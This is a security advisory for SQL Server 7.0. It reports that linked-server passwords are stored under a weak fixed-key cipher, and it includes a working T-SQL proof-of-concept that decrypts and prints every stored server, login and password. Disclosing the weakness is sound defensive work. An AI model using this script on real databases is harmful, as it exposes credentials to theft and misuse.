|
Vulnerability SQL Affected SQL Server 7.0 Description Blake Coverett found following. SQL Server 7 introduces the ability to link servers. If the remote server is also running SQL Server 7 security credentials can be passed through in some unspecified way. If the remote server is anything else, included SQL Server 6.5, linked logins must be setup to map local logins to the login name and password to be used on the remote server. These linked logins and passwords are stored in the master..sysxlogins table. The passwords are encrypted with a new, undocumented, built-in function called encrypt() before being stored in the password attribute of this table. The SQL Server 7 encrypt() function uses an unknown byte-wise stream cipher with a fixed key. That is trivial to break with a chosen plaintext attack and such an attack is always available. The sample code below lists all the server, login, password combinations in the table. Note: deducing a way to decode this algorithm required only an examination of the output for selected inputs, no reverse engineering of the algorithm itself was required. It is not strictly an XOR against some fixed set of bytes, but still no excuse for not using a well-known block cipher, preferably with a machine specific key stored with the LSA secrets. By default the master..sysxlogins table is only readable with dbo rights in master and there is no reason to expect administrators will have relaxed these permissions. There is no obvious exposure from unprivileged accounts, but the clear text of the passwords are visible to anyone with admin privileges in the database. This is a bad thing for all the classic reasons. Sample code: */ set nocount on declare pwd cursor for select s.srvname, l.name, l.password from master..sysservers s join master..sysxlogins l on s.srvid = l.srvid where l.sid is not null for read only declare @server varchar(256), @login varchar(256) declare @password varbinary(256), @pwdtext nvarchar(128) declare @i int, @lsb tinyint, @msb tinyint, @tmp varbinary(256) open pwd fetch from pwd into @server, @login, @password while @@fetch_status = 0 begin set @i = 0 set @pwdtext = N'' while @i < datalength(@password) begin set @tmp = encrypt(@pwdtext + nchar(0)) set @lsb = convert(tinyint, substring(@tmp, @i + 1, 1)) ^ convert(tinyint, substring(@password, @i + 1, 1)) set @i = @i + 1 set @tmp = encrypt(@pwdtext + nchar(@lsb)) set @msb = convert(tinyint, substring(@tmp, @i + 1, 1)) ^ convert(tinyint, substring(@password, @i + 1, 1)) set @i = @i + 1 set @pwdtext = @pwdtext + nchar(convert(smallint, @lsb) + 256 * convert(smallint, @msb)) end print @server + ', ' + @login + ', ' + @pwdtext fetch from pwd into @server, @login, @password end deallocate pwd Solution Nothing yet.